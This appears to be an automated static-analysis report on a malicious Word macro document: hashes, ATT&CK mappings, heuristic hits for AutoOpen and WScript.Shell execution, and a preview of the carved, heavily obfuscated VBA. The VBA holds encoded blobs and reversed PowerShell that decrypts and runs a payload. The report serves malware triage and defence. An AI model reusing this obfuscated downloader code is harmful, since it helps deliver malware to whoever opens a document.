Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f3011b4009dceba…

MALICIOUS

Office (OLE)

278.0 KB Created: 2018-03-16 09:05:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 4671ff30cdf6a8611325a71622190bc5 SHA-1: bfce5a5dcb79bd7155e28a6c377b7bf6d64fb9ea SHA-256: 4f3011b4009dcebad44aa64bff0790f28c4cf5a67cab436f0f14c5b358808485
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the execution of arbitrary commands. The AutoOpen macro is present, which is commonly used to trigger malicious code upon document opening. The script appears to be a downloader, likely fetching and executing a secondary payload.

Heuristics 10

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          kiANdu = Ujtfo / ipVXWZ
      SUYGVEtCEVQBb = "WScript.Shell"
      nUaaMh = UvMlAa + YvCQj
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          wQBMCO = hIJwuf + aCJrcP
CreateObject(SUYGVEtCEVQBb).Run UXNkPhULURjK + Chr(VBA.vbKeyC) + hzvkGZrAAFwVcs + LjADCLWO + nccdlmmACqrzbt, vbHide
      bmhJWo = Hex(QkMirB / Int(10882))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "PaUzhztphVbk"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 34941 bytes
SHA-256: d04453b3b4fc7c19314ecafb21f17338188c83fe3bc8e60d10adb76a21abe028
Detection
ClamAV: No threats found
Obfuscation or payload: likely
670 of 1122 identifiers look randomly generated (e.g. 'c4cAkDAiBANAMGAyAgZAkDAmBwNAMGA5AwMAADAm') — consistent with name-mangling obfuscation. Carved artifact contains 23 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "BDMTiPKkjzMpV"
Function QsJGutSFZEBT()
On Error Resume Next
      KsulO = Hex(QvFwh / Int(82626))
      Nbfcbj = Guiqf / QGGLb
      kjLcjm = ELuWFz + oFppP
nXHbYuQLfb = WdrDa("ch7,BgYAEGAhBwNAQGAyAwNAcDA1AANAQDAwAQYAEGAjBAOAIDAiBAOAIDA0AgNAEGAxAQYAkDAiBQYAUGA5AQMAYGAmBAOAQD9cN4", 5 + 0, 94 + 0)
      awQQN = Hex(GMsJp / Int(88150))
      hGBBw = qriHMY / rQMLR
      vNZmQ = OffWMB + ckRJm
      ZYBJzU = Hex(nvZRKP / Int(35886))
      JUvIq = JQHaf / wFsiC
      fOdvz = tCqpWf + XQBQwD
AHaEztDpAhp = WdrDa("BH8ZAEDA0AwYAYGAkBwMAgDAxAANAkDAlBwMAMGAhBAOAIDA4AQMAEDA3AwNAYDAkBAOAkDA4AAMAIDAxAQMAMGAxAANAgDA2AwMAMGAwAgNAYGAlBwMAEGA1AgZAQGA5AQNAIDA4AwMAIGAzAgYAcDAzAQOAIGA3AgMAEGAmZcA", 4 + 0, 166 + 0)
      XcQHu = Hex(RNBhDr / Int(27769))
      kDuNWP = oLTuc / Iruovi
      rCwWBO = jAImi + vmMHD
      wEObtw = Hex(toBza / Int(93720))
      YDtEF = LWkLf / PSZGt
      jzJBVQ = mBCaP + iNYTQ
cBRKN = WdrDa("iGbGAzAgMAEDAjBQYAIDAmBwNAgDA3AwMAIGAkBQMAQDA0AANAUGA3AgMAYGAxAgNAQGAyAQMAIGA0AQNAADA2AANAUDA5AQYAMGAhBgMAYDA1AAOAQGA4AANAQDA4AQOAMGA2AQOAIDA2AQNAkDAwAgYAMGAxAgZAkDAjBQNAgDAwAgYAYDAyAQNAEGA2AAMAMwDB3zC", 7 + 0, 192 + 0)
      hQzjZ = Hex(CwniE / Int(38619))
      HArzGW = cjSDIw / KAsrz
      rMflN = hTUkEz + sHzmNR
      ioNzOG = Hex(hGANDA / Int(1152))
      iCfwDZ = wFniz / tYzrlR
      pSifzj = wkZwYk + wNkEiM
hloMDwY = WdrDa("iBMMEBwYAQGAyAQOAcDAwAgNAYGAzAgNAADA1AAMAcDAkBQNAIGAwAQOAEGAzAgYAUGAhBwYAcDAiBQOAgDAyAQMAIDAyAgMAkDA3AgZAMDAhBQYAYDAkBgNAYDA0AwYAIDAiBQYAMDAmBQOAQGAkv3t", 4 + 0, 144 + 0)
      sIKjJr = Hex(hCVSjW / Int(83766))
      YzwUc = MfqKM / vLNnCF
      zKUzq = IQhDio + HipkH
      VMfEz = Hex(GwKCak / Int(69144))
      iDFKQh = fuqirf / oCMkE
      PoGLaO = KovjwR + XXDXM
zKRltwMTWm = WdrDa("C8gNAMDA5AAMAIGAlBgZAYDAkBANAUGA3AAMAQDAzAANAEDAzAAZAADAlBQMAgDAyAAMAgDA1AgYAADAlBAZVR.2bKj", 8 + 0, 82 + 0)
      KqSoWH = Hex(mIHqp / Int(61155))
      cqwtk = miqwJ / aLwQzo
      NXZVR = SIIChF + QPsjbJ
      jjLWk = Hex(sXZdEt / Int(74333))
      zkBicZ = PktIHC / qDMuD
      pkNYG = UqzzVI + VEXfvp
ofvIwK = WdrDa("9AM7K6AIGAkBwNAMGAyAQMAIDAlBAOAYDAlBwMAMDA2AgZAMGAkBAZAgDA1AgYAIDAlBQNAQDAwAAOAkDAyAQMAMDA1AQNAgDAkBwMAQGAiBQOAIDAxAAOAYGA1AAMAMDAmE", 2 + 0, 125 + 0)
      KQvSN = Hex(nUhVQJ / Int(79871))
      oNWdbt = zSlXz / jTSYRE
      sZouKd = zJbiLT + jqACTw
      VHGuL = Hex(GRbiK / Int(87590))
      cJOMSX = NIjaw / jKfwb
      wLAsB = wlbQsX + DoZmU
aXZsLLq = WdrDa("8jtIuvGmB2T", 3 + 0, 2 + 0)
      XXJJMX = Hex(wIowmi / Int(13953))
      zbcRMl = lqzPL / vPHXL
      EzmCnU = iozfd + QZFMz
      rjwor = Hex(lXEQSh / Int(2766))
      OBdpkh = KAurT / Ftjjs
      LDHJj = bkZDa + jfRcVs
BqbDFNh = WdrDa("mGZjQNAcDAzAAMAADA3AwYAMDA4AgZAADAmWM", 3 + 0, 31 + 0)
      GTIjjE = Hex(YKfdVk / Int(49159))
      pqGru = IzrHa / HnAdY
      wmtDXa = lwQEv + pDOqaV
      VLTNHl = Hex(GVfvHt / Int(35546))
      CDnks = zwrzX / GiSCT
      DliXco = mNiqi + uRcIhO
YFvEpv = WdrDa("otOAUGA0AANAgDAxAAMAEGAmBAMAYDAjBQMAMGA5AQOAIGAzAwMAMDAkBgYAcDA2AAMAADA5AwNAcDAkBAZAUDAyAgYAUGA5A9kno,0Q", 8 + 0, 95 + 0)
      MhYMc = Hex(jPkcC / Int(57071))
      aqjnib = RGFSIM / cEdVk
      FUWNRv = FDBkc + COEkp
      NqaLI = Hex(zvUKr / Int(62644))
      innCU = lDaOls / ZHQCb
      WFSSK = LqtZO + QikaSv
pDCik = WdrDa("sw9Y0BQOAUDA0AwNAkDAmBQYAIDAlBgNAADA1AQZAkDAmBQOAYGA3AAZAEDA2AANAUDA5AQZAUDAkBQNAIGAyAQMAQGAwAQNAEDAlBgNAEDA3AQMAEGA5AgNAYDAwAAOAYDA1AgNAMDAzAgZAYDAjBwMAYDAmBwMAEGAjBgZAUDA2AwMAYDAmBQZAUDAiBAS", 2 + 0, 186 + 0)
      wTCNmc = Hex(SEisiR / Int(67870))
      KTMUcw = GrdMX / JUwpV
      csTsf = WnHLBu + GlYQOz
      iPszWQ = Hex(ENDZqm / Int(96089))
      nItzU = pjmiL / twYDZJ
      JDcCo = zSTsl + vWuvI
EEPFGmwv = WdrDa(".tub9ZAIDA2AQOAQDAxAwNAMGA3AQOAgDAxAwYAkDAyAQNAYDAxAgMAkDAiBAMAMGAmBwMAkDA4AAMAUGAiBAZAwHAH", 2 + 0, 84 + 0)
      viVojF = Hex(LkpGo / Int(99358))
      jfoHL = EaUpW / BNQJzC
      UdbkV = WidlK + fslkP
      dkLqN = Hex(pQBXws / Int(58738))
      UjlCzj = JXjkd / Cardz
      KrYvWA = iwAXiL + OhsFm
OPtVcdVfp = WdrDa("WZkAADAlBAZAEDA2AwMAYDA3AgMAEGA5AQZAgDA4AgMAQDAAWL", 4 + 0, 44 + 0)
      MoTNcF = Hex(impKtw / Int(7037))
      wwoOB = CMIzB / cuVil
      SbVXLT = PErJq + jHjQlD
      AtOlM = Hex(jvzIjS / Int(44890))
      FhWtH = XnhUWi / MEjTYN
      swvdA = whfmz + juhvpl
tXBzLPpF = WdrDa("Tj2GZwNAcDAxAQOAEDAkBgYAUGAxAQZAIDAyAAOAUGAwAAZAQGAwAgYAUGA2AgMAIGAyAANAADAlBgMAMGAlBwNAIDA5AQNAMGA3AAMAQDAkBQOAYGAhBQMAIDAyAwMAkU", 2 + 0, 124 + 0)
      tiMMtO = Hex(OWrPpK / Int(7971))
      bHmst = sqHuUi / jfJtip
      pfmBO = FbqPw + ndSZJw
      jqwIL = Hex(DqBaiZ / Int(66831))
      LNBijU = waUZu / FAEQSa
      CwNKi = KikHt + qiAHwa
wKpGhf = WdrDa("H8%gMAYDAlBwMAMDAyAgNAEDAmBQOAMDAyAANAIGAxAQOAcDA2AQOAgDAlBgMAQGAwAwNAQDA0AAMAYDA0AANAMGA3AQZAYDAmBgMAcDAzAQMAEDA5AQMAEGAhBgMAQGAhBwYAQGAjBQNAQDAjBQZAYGAmBwNAgDA2AQOAYGAyAgMAIDAiBAOAgDAwAQNAYGAxAANAEGAKbMUB", 6 + 0, 198 + 0)
      WIiQi = Hex(RzwpwJ / Int(23306))
      jjNAqz = JXOTai / EEtFq
      DtUij = RILpnz + rJBmHH
      fodrV = Hex(XLJuEY / Int(76202))
      EGJVSi = qiDbY / qfOGFN
      jOPjp = zhSQo + LdbDjP
zWOtidaz = WdrDa("ZChZAgDAD1iSq", 6 + 0, 5 + 0)
      vlpGa = Hex(wDjju / Int(77188))
      LVrqra = DlmXRO / NNObfr
      RjuHpT = MQAXcp + qmlMJ
      XprJw = Hex(UlaDS / Int(26888))
      RVKSoL = HJGPqi / vUnlzO
      RXZpr = rdOmaa + VkKwk
GTiiHouL = WdrDa("7oILPsDA5AgZAQDAwAgZAYGAyAgYAUDA1AAE0", 3 + 0, 29 + 0)
      kMNjcT = Hex(SZRmS / Int(40471))
      mzzldz = DiuTo / hQKJq
      DdtDn = WcTSLc + FbOVn
      iLnjn = Hex(pjPlz / Int(91697))
      wUvBJw = AvjHD / iKOhH
      EjmOoD = sYPAP + JiPmu
cNMwwIJ = WdrDa("horCA1AQOAIGAhBQNAEDAkBwYAcDAxAAMAUDA0AwYAQGAlBgZAgDA0AQZAADAjBgNAIDA3AQYAUDA5AwMAQGA4AQOAADA1AwNAADAxAgYAYDA49Up", 4 + 0, 106 + 0)
      OGOXm = Hex(jdirfR / Int(65503))
      wrDMGG = kEvlvT / uaTXUL
      sqIzmI = qBtwSl + SbCjn
      dZFpj = Hex(LZRlhj / Int(13479))
      Taipn = oHVsCu / YVVjNf
      nFkWJV = awOhuP + qhlbvs
ozuvvDiU = WdrDa("5XOAcDAiBwYAEDAyAgZAMDAlBgZAQGA3AQNAQGA1AANAMDA3AgZAYDAzAgMAQDA0AgZAYGAwAQMAkDA3AAOr0jEiw", 7 + 0, 81 + 0)
      VEMnmu = Hex(EvCTAK / Int(44532))
      qIjRD = JHLHi / hnkISn
      SBXjX = nVCLOu + Ydrdu
      tWhpO = Hex(kjKvnY / Int(3966))
      CZlzDR = jdhjmm / SdUJb
      sQrfrX = lYuNw + EKowz
fSEoKkbOv = WdrDa("9z12AUGAmBQZAQDA2AwNAgDAzAgYAcDAjBQZAcDA4AANAUGA2AwMAMDA4AANAADA0AgMAYDAzAANAIDAwAQOAIGA4AgYAMGAkBAMAMDA1AgNAMDAjBQYAEGA0AgNAEGAyAQMAADA2AwNAT96.U", 6 + 0, 137 + 0)
      ihNsz = Hex(cqjNh / Int(51978))
      wRjmiG = fzAIj / mjiqd
      VFwCfX = ZOhkXq + jAlUY
      iAdbXY = Hex(pdBal / Int(53406))
      IHbhGw = mTTZc / OaXmUR
      lIljZB = OKsTvS + SFoulm
cQuFBbB = WdrDa(".2oAUGAwAQZAcDAlBANAcDAyAAZAADAmBgYAkDA5AQMAkDA1AwNAYDA5AwYAIDAxAwNAIGAmBQYAIDA2AAOAQDA3AAZAEGA4AwMAkDA1AQZAQGAzAAOAEGAwAgZAYGA1AQZAIGAhBQYAYDA2AwYAEGAxAwYAgDAiBgNAYDA2AgMAADAyAQNAUCm8t7X", 7 + 0, 178 + 0)
      rjKBu = Hex(JOFOFT / Int(94297))
      AVrHE = EcbAd / ivUjs
      fFucbi = ImzEdN + VkSkwm
      ozppvN = Hex(fhuzv / Int(33986))
      UmNuo = kowwpX / VftNna
      jQCSbI = jDOkVC + nAniK
aJFjVZAFY = WdrDa("DpisNaCoLLAlAboLgOTgnIrTsERuCeS::]LahSRAm.SECIvrESPoRETnI.eMitNUR[(isnagnIRTSOtRtp::]LaHsram.SeCIvrESpoRETni.EmITnuR[( iDjYDbR", 8 + 0, 117 + 0)
      OACrAY = Hex(qAojL / Int(41345))
      mDkvSj = DlhNU / TiiFi
      qXiOKS = osjOi + zWnjP
      rTwzj = Hex(EYwNMb / Int(51185))
      XsctUb = JtHMU / wwalj
      ZACpK = XEiZZ + jTHZz
pqlBdqfm = WdrDa("GIKqvBgMAMGAhBANAEDAxAQOAQDAkBgZAUDAjBQMAYGA4AgNAADAlBgZAQVdu9", 5 + 0, 53 + 0)
      WhMKh = Hex(rmOvGa / Int(43149))
      cTBbVC = WzWUk / kjBsY
      NPBwPS = wXIbwI + zuNSj
      JQMnYM = Hex(SwGioj / Int(44546))
      BoKJPi = ouFib / QhFGCo
      aUklj = SSLzbC + LcCBRc
UBwtRi = WdrDa("h1AhBgMAUDAzAgNAMDAhBAMAUGAzAQMAkDA1AQZAgDAwAAMAEGA4AwYAUGA2AQZAIGAhBQMAUDA4AwNAQDAyAgNAYDA1AQNAgDA1AgNAYGA0AAZAMDAhBAOAgDAkBAMAkDAhBQOAADAhBwNAEGAyAQMAgDAlBQOAQDA2AAOAUDA4AgZAQGAjO27w", 5 + 0, 178 + 0)
      HbRhq = Hex(wBOAYm / Int(91875))
      BhEYc = Ljcvdj / RnfDpZ
      DwCCv = bQDLbp + fKvwd
      rmUrM = Hex(cLujz / Int(51099))
      ZuOApT = jBwTjR / KESsET
      JUEVdc = EpRbv + wnKNn
WMTDkfsc = WdrDa("6HgMAMGA4AgYAMDA2AgMAUGA2AwMAUDAhBAMAUGA1AQOAQDAjBQOAcDAmBANAIGAmBAZAgDAiBQZAYGA0AgMAQGAzAwMAkDA5AQNAQGA4AgMAQGAwAgNAUDAmBANAEDA2AD6pb@Hf", 8 + 0, 128 + 0)
      TTppBL = Hex(ORGbou / Int(13889))
      PZKiMq = iMfsk / sWtFF
      zaUfD = iOIzN + joaiOA
      Nkpjj = Hex(HHEQPW / Int(76565))
      JjKQdN = wGSfZ / roJIf
      ujcHhk = WAtNG + zUqZmH
TvTWHXWLirX = WdrDa("hn3)''NioJ-]52,62,4[CepSMoc:vnE$ (. | )) )))321..831( yEk-  GNIRtSeRucEs-OTtREvNOC| '=AgMAYGAhBgNAcDAkBQMAgDAwAQNAMGAxAwMAEOSUw", 5 + 0, 120 + 0)
      pNRiX = Hex(JjQSv / Int(14424))
      msTjYd = TrLDsM / awAPWA
      thPwki = dFhzGW + GBKAJ
      Nvwzfn = Hex(bZwNCC / Int(3521))
      iIsNE = dDOqOR / NPuHz
      JwPXdL = zprNlI + HOWKHJ
sHuZMwIjBbr = WdrDa("vBBAOAADAiBANAMGA0AQYAADAyAQZAMGAxAgYAgDAwAgNAMGAjBQMAIDAlBANAIGAxAwYAEDA4AwYAEGA3AANAYGAwAAOAADA1AwNAEDA@ZFMLVl", 8 + 0, 103 + 0)
      ksiJRW = Hex(OJDFE / Int(50402))
      FTlPCK = nMAFFk / wtjAoj
      EjOLp = kjnIji + CvkvFz
      FIjlq = Hex(oJfbu / Int(88407))
      zCZinS = fJPdG / ntnhf
      UAljh = zBBWK + fTKiG
PEGBUwQZc = WdrDa("o8Gsh4gNAMDAzAgNAIDAwAgNAMGAlBwYAIGAlBAMAUGAkBgMAADA4AQMAUGAwAwMAYGA2AgZAgDA5AwYAEGA5AAMAEGA2AAZAUGAiBwNAQDAjBQY@", 3 + 0, 105 + 0)
      bCJjh = Hex(tDfiSu / Int(40723))
      vVZvLT = WnQGJw / zmBEm
      FdPoSp = ijUiHA + QKuOX
      BcNzqR = Hex(iiAfpf / Int(75155))
      Mndhv = ozorK / uVnDYj
      MSzbZ = QkRqAS + DkWiEv
Fzqhawp = WdrDa("3bDA5AgMAQDAzAQNAgDAwAAZAkDA2AQZAADAkBgMAEGA2AAMAcDAlBANAEDA5AgZAIDA3AQYAEGAlBQM72Ml", 6 + 0, 77 + 0)
      mNcYIj = Hex(tNuzHJ / Int(50421))
      BOLDoi = WJnYi / KwFwdw
      zpYTt = XXXst + BdiIW
      GSpCI = Hex(pRoQX / Int(58924))
      mvEYD = zziRS / Pfdijc
      HkokiP = biiib + MEdTCA
czcbZTwfFWS = WdrDa("5iUGAiBQYAUGAlBANAADAjBgMAEDAkBgMAcDAzAAOAgDAmBgZAMGAzAQOAQDAxAAMAEDAyAQOAYGA0AAZAQGA3AwMAMDA5AAMAMDA0AgNAUDAhBgYAUDAxAwYAMGAzAQZAUGA2AwYAQDAyAwNAafT", 4 + 0, 143 + 0)
      vJOcB = Hex(GsjLj / Int(9460))
      jWfwLV = hfPVv / mjLBJf
      ZvzWLi = IdrWv + nzpZiI
      EiPHd = Hex(iLdZd / Int(42368))
      UcBoCA = ROfIB / TndPHu
      jbobIw = jCiWzZ + jcdUDV
bIkZjmtF = WdrDa("qRdEDA0AgMAMGAhBAZAUGAmBwNAYDAlBAOAMGAxAQOAEGAiBQZAYDA4AQYAgDAmBAOAUGAxAQYAQGAyAAZAUDAzAwYAEGAxAAZAYDAyAgMAYGAmBwMAQGA3AQYAADA0AAZAEDAkBQMAgDAhBwMAMGAxAQOAcDAjBgZAADAiBgMAQGAiBQZAcDA5AzrBV6", 6 + 0, 181 + 0)
      qpCGG = Hex(DvhOSi / Int(71791))
      tnZfDV = OkJIcT / LAuDZQ
      lmUCUb = VQDRnk + oDpAAs
      kcIjFZ = Hex(iFWRjV / Int(2058))
      jwtmS = huEOh / wrCjbW
      zBiPG = XWdOVX + asimU
mzWiUPwMVzu = WdrDa("Tb@AhBgNAkDAzAwMAYDAwAgYAgDA1AQMAIDA0AQYAgDAxAwYAUGAmBAMAYGA3AQYAgDAzAAZAMDAkBgMAQGAjBgZAIDAyAgVO@", 4 + 0, 92 + 0)
      RfDiDU = Hex(rmrDn / Int(82162))
      ADVEj = uuvEfj / NHEMQP
      FpuTb = izliab + KTWWZC
      HNlWVf = Hex(EQqBPi / Int(74632))
      MqwFj = jaRqX / RDIOM
      cAAiZ = zFJEiz + QcbnB
SwijruwEXAO = WdrDa("L4YsoOAQGA2AwMAQDAlBwMAUGAwAgMAEGAzAQZAUGA2AAMAYDAjBANAADA4AwNAIDA4AAMAEGA2AAZAUGAxAQMAYGA2AQNAMGAjBANAMGA3AgYAUGAlBgMAMGA1AgMAkDAjBgMAQGA2AAOAADAjBwNAkDwI", 3 + 0, 148 + 0)
      llGXmU = Hex(zVNAHb / Int(78820))
      CmXdQF = dJfwT / HjqQGn
      hVcNOt = csIwCI + OqDJl
      sQcni = Hex(uLKsN / Int(14476))
      wDbaZ = wIokv / udBaF
      qtHGF = VSbKl + sPYMSk
jfEfU = WdrDa("ckOlBAOAQDA1AwYAEDAzAQYAEDA3AQMAUGAwAQMAUGAiBANAIDA2AQOAkDAlBAOAMDAwAAMAEDA5AwMAUDAhBwNAADA0AgZAcDAyAANAEGAkBQYAYGAlBwMAEGAkBAOAEGAxAQNAcDA4AQYAEGAhBQNAEGAlBQZAEGAwAwYAIGA4AAZAIGAmBANAkDA3AQMAUGAxAgZAY1,35G", 6 + 0, 198 + 0)
      zNhXvE = Hex(hYkltl / Int(10071))
      XOArwH = GulXz / fqhLRu
      tIVLC = nzipR + iGsKM
      piOhWI = Hex(zwTRW / Int(8296))
      RmKfWO = YsnuIk / WtVVw
      tnnFhG = lsdDSB + rOhKM
BNsQiAL = WdrDa("G.iCHZAQNAUGAxAAOAIDAjBwMAYDAiBQNAIDDF@", 4 + 0, 30 + 0)
      zRmanN = Hex(GbEzv / Int(50849))
      sizEz = cLjPj / GcRHML
      TrcBM = ThfJn + IrlPMO
      SYzRiR = Hex(GLwoFz / Int(13620))
      WRsPA = WzpGh / EHPkGz
      vaiKMR = vYtzJ + fTMJQX
MaLctC = WdrDa("MntjrAiBAMAYGAmBAMAIDAiBgZAIDAhBAZAMDAxAgYAQDA2AQNAcDAmBgMAQDAhBgMAMGA1AAMAgDA4AQOAADA3AwNAYGA5AgZAgDAzAgYAUGAyAAZAUGAkBQZAADA0AAMAEGAlBAOAYGAhBgMAMDAmj0q", 4 + 0, 146 + 0)
      UwYJK = Hex(qrwwNi / Int(15666))
      LnoGj = iWzGqz / vkvFT
      ZizBZz = aZwbf + BZTfY
      CJVtt = Hex(jlpGdd / Int(37890))
      NHRJD = ZrLUO / QLzbd
      NzrAZ = GqsqC + ojArTj
OnZLnwiLo = WdrDa("izm2AwNAIGA1AAMAUDAjBwYAEDAkBQYAUDAxAgMAIDA0AwMAYDAiBQYAkDAjBgMAcDAlBQMAUDAyAgZAUDAiBAMAUGAjBQNAkDAyAW@b", 4 + 0, 98 + 0)
      fvikKz = Hex(fjZUo / Int(27622))
      JPWSNi = CMOipY / hKYrQi
      YfMjCY = XQYCnK + QiYGwA
      HEhfvC = Hex(jGkLMq / Int(59085))
      YCjptS = OFNEaJ / AHWNO
      vQHhTY = OvhpAZ + lrpIj
oZdiTl = WdrDa("8c4cAkDAiBANAMGAyAgZAkDAmBwNAMGA5AwMAADAmBwMAIGAzAQZAEDAiBwYAgDAkBgNAcDA5AgNAYDA1AwNAYGAhBQMAMGA4AANAcDAzAwNAMDAkBgZAADAxAgNAG@T0T", 6 + 0, 121 + 0)
      ZqbSq = Hex(lOGdoz / Int(53676))
      mIvCWU = TSYXDA / iISOjz
      Eooqr = NIStqY + ddvmlM
      uArLKi = Hex(TvYDXo / Int(59168))
      IPhwL = IadWX / wvdcVp
      AthLCY = JfMaZ + XirRi
IWQnmtii = WdrDa("AXF0jtwAMAYGA3AgZAMDA3AwNAEGA3AANAgDA1AAZAEGAxAQYAMDA1AgMAEGAmBgZAYGA2AgZAQDAyAQNAADAyAwNAMGAkBAXW", 3 + 0, 89 + 0)
      ESmaN = Hex(mpqXRv / Int(66819))
      viMbDf = uJcNC / NVNDLw
      kaNTT = PjalN + sqPtV
      YXGIdq = Hex(EwPfR / Int(34134))
      kfJrJu = ZLlwW / VpRpK
      HZSill = WXsVA + fXnYCu
YwNzDqimi = WdrDa("SvQIsTMAgDA4AAMAUDAkBgNAEDAjBAOAYDAlBQMAYDAjBgMAUGA4AQNAYGA3AgNAMDAkBgZAEDAiBAZAIGA1AwYAYGA1AANAEDAyAgZAUGAyAAMAQDAxAQYAYGA0AAMAQDAzAwMAMGAlBwYAUGA5AwNAQDAlBQZAIDA2m2", 4 + 0, 157 + 0)
      IMwLUK = Hex(UsOhZ / Int(40390))
      KBSBYG = Xqjql / qwiRO
      VUuaGK = ipiILv + DVVVXi
      OrZWci = Hex(UPjDN / Int(7533))
      FrlLLz = RbWJL / PwPciR
      zkRRU = FfjIto + bMsEGP
YWiaFr = WdrDa("7rNdAiuZBgNAEGAzAgM0", 2 + 0, 11 + 0)
      DzQDM = Hex(kJWzH / Int(41123))
      zzUZUr = rrlSc / hSDFL
      SwDAU = EDLvJ + BYrjir
      LGpLA = Hex(iOHTiI / Int(64613))
      uNhrR = mQvOjm / UlZQkP
      iXovf = jTVazD + JioakF
imajtAENTj = WdrDa("Hr,A9AQPAEFAmBAOAgGA1AwcAMEANBQUAMDAwBgWAkDAFBgRAkGArBgUAIEA2BQYAkDA8BgM5435a05061b3143240f3476111d29467'($(EnX", 4 + 0, 104 + 0)
      juLbf = Hex(vOdiD / Int(88455))
      cqWZlM = PSvUOc / dpzwff
      VoMNP = sSpnX + KTTIO
      LUBMo = Hex(JDJCU / Int(8977))
      SsKskf = fMWSwc / bpSDKi
      fEKFIs = YhrSm + kssQGS
tqHzsNr = WdrDa("Wu80CznUyAQMAUGAjBwNAADA2AwYAkDA1AQYAkDA3AAOAUGA5AANAUGAyAQMAEGA0AgZAYGG", 2 + 0, 63 + 0)
      kzwjOM = Hex(iNrzJ / Int(50597))
      mnzmb = iGiizM / NizCws
      zjGaqw = aLqrJL + wFsdff
      mzzSh = Hex(FlrQo / Int(9803))
      jEwnkz = imDnB / wclalw
      jtjwj = MRaXVP + CNqlTd
BzEvnz = WdrDa("s8YpMGAiBgZAkDAhBgMAMGA5AgZAUDAwAAMAkDAxAQOAIGAhBQMAYGAwAQZAcDA1AANAQDAjBgYAkDA1AQZAUGAkBQOAgDA0AwYAgDA1AQMAUGA4AANAEDAkBQM7@11", 5 + 0, 119 + 0)
      bSAuJQ = Hex(YcARi / Int(84982))
      JmVAEm = mIOiYZ / kmzGI
      jNtpm = snpaG + XitbVk
      BNLjzw = Hex(MYDSf / Int(51414))
      tOTdDb = JQbFVb / bOwKGz
      IRNwsT = whjYD + sEmVKP
pajBQAW = WdrDa("GCfkZIDAwAwYAMDA2AgZAYDA3AAZAQDAmBwNAUGA0AQOAcDAzAgYAADAkBQZAYDAmBQYAADAyAwMAYDA2AgZAQGAyAAG7", 3 + 0, 86 + 0)
      szjic = Hex(UkJEI / Int(47710))
      nkwFfL = KNjvj / fwWcc
      rpvKi = VWwhmc + zaIHI
      UkAJkI = Hex(FGOEH / Int(14272))
      lIqoW = ocUpM / VVMJVp
      EZaiBM = iCKCP + cdzjQ
FXnBt = WdrDa("U1on9bR1AQYAIDAlBANAQDAlBANAYDAmBAOAMGAxAQNAUDAxAQNAYDAiBAZAYDAkBgYAUDA0AQOAMGA1AAMAEDA1AAMAQGA2AgMAUGA1AAZAUGAmBANAEDAlBwNAYDA4AAZAYDAyAwYAIDAiBQMAYGAkBAs1", 3 + 0, 147 + 0)
      aNorP = Hex(ztnzs / Int(94861))
      PSDvKd = bJflSS / AOrVf
      MOcPiL = ETZiK + JAtYi
      cUFsiw = Hex(bDEnsk / Int(52150))
      PJlpZ = SzrHN / ctGKR
      RNDbs = WIjljw + zLtpm
VWYrf = WdrDa("u7.1AEDA5AQOAADA5AQZAcDAwAgMAMGA1AAOAIDA3AAMAMGAmBgZAQGA3AgMAkDA4AwMAQGA4AgYAkDAlBgNAYGA5AQYAYGA5AAMAQDAwAANAMGA3AQZAUDA5AbX1", 4 + 0, 118 + 0)
      NMDKUO = Hex(RaDhzu / Int(42802))
      SNEoQp = QojQt / NKiET
      DqOCi = IfwEB + pcNhwo
      Fmqif = Hex(pbNjLH / Int(58443))
      Zadif = KVlBon / iJzfK
      GYAcr = HjIPGR + KTdzwz
kMSGNAHI = WdrDa("hstjNAIDAyAQMAQDAkBAZAEGAlBAOAYGAhBgYAQDA4AgNAMDAzAgNAQDA0AgMAMGAxAwNAADAzAgNAMDAjBwMAMGAiBANAYGA1AwMAUGAxAQYAUDA4AAOAEGAhBAZVG", 3 + 0, 121 + 0)
      ZvjBp = Hex(sdLRNA / Int(1806))
      XiYwl = YACFfk / clAKDi
      aKoznz = iYqCFQ + moFBKw
      brjIPc = Hex(lSvPz / Int(29452))
      WsjFj = jwwApw / aEZdiR
      OiKwhF = LSCKw + fupvY
rBCnacIX = WdrDa("kok7B1GOAQGAkBQYAADA4AAMAcDA5AgZAgDA2AAOAEDA3AwMAADA5AgMAgDA3AwYAMDA5AwMAIGA0AAZAADA5AQMAUDAhBQM@8", 3 + 0, 89 + 0)
      wOdtf = Hex(Rrkjs / Int(34308))
